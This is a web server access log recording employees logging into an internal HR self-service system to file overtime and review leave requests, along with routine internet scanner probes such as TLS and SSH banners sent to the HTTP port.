100.64.0.1 - - [04/Sep/2025:10:23:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:23:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:23:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:23:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:24:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:24:29 +0800] "GET / HTTP/1.1" 200 439
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.148 - - [04/Sep/2025:10:26:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.148 - - [04/Sep/2025:10:26:42 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.148 - - [04/Sep/2025:10:26:43 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [04/Sep/2025:10:26:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [04/Sep/2025:10:26:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [04/Sep/2025:10:26:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [04/Sep/2025:10:26:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.148 - - [04/Sep/2025:10:26:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [04/Sep/2025:10:26:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.148 - - [04/Sep/2025:10:26:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:26:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.148 - - [04/Sep/2025:10:26:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:27:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8061 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:27:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 8061
192.168.11.148 - - [04/Sep/2025:10:27:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.148 - - [04/Sep/2025:10:27:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:27:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [04/Sep/2025:10:27:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:10:28:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:28:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [04/Sep/2025:10:28:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:28:49 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:10:28:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.12.66 - - [04/Sep/2025:10:28:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:28:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:28:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9880
192.168.12.66 - - [04/Sep/2025:10:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:10:29:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257
192.168.12.66 - - [04/Sep/2025:10:29:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:04 +0800] "GET /eHR/css/default.css HTTP/1.1" 304 -
192.168.12.66 - - [04/Sep/2025:10:29:04 +0800] "GET /eHR/css/default.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7217
192.168.12.66 - - [04/Sep/2025:10:29:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18657 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18657
192.168.12.66 - - [04/Sep/2025:10:29:26 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=115817 HTTP/1.1" 200 5850 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:26 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=115817 HTTP/1.1" 200 5850
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/start.png HTTP/1.1" 200 2344 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/process.png HTTP/1.1" 200 2728 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/user_sign_approve_key.png HTTP/1.1" 200 3099
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/user_sign_approve.png HTTP/1.1" 200 2759 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:28 +0800] "GET /eHR/img/workflow/user_sign_approve.png HTTP/1.1" 200 2759
192.168.12.66 - - [04/Sep/2025:10:29:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 2716 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:29:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 2716
192.168.12.66 - - [04/Sep/2025:10:30:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:10:30:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
100.64.0.1 - - [04/Sep/2025:10:34:02 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [04/Sep/2025:10:34:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:40:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:10:40:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:41:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:10:41:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:42:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:10:42:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:42:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:10:42:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:44:16 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:44:16 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:10:44:25 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:10:44:25 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:45:57 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [04/Sep/2025:10:45:57 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:46:05 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:46:05 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:10:46:07 +0800] "SSH-2.0-Go" 501 212
100.64.0.1 - - [04/Sep/2025:10:46:07 +0800] "SSH-2.0-Go" 501 212 "-" "-"
100.64.0.1 - - [04/Sep/2025:10:47:10 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:10:47:10 +0800] "GET / HTTP/1.1" 200 439
